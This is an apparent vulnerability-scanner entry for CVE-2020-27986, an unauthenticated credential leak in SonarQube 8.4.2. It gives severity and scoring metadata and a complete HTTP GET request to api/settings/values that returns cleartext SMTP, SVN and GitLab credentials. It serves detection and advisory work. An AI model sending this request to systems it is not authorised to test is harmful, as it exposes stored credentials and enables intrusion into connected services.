| Title | SonarQube - Authentication Bypass |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information. |
| Remediation | Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it." |
| CVSS Score | 7.5 |
| EPSS Score | 0.92573 |
| CVE ID | CVE-2020-27986 |
| CWE ID | CWE-306 |
| Tags | cve cve2020 sonarqube sonarsource vkev vuln |
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.
GET /api/settings/values HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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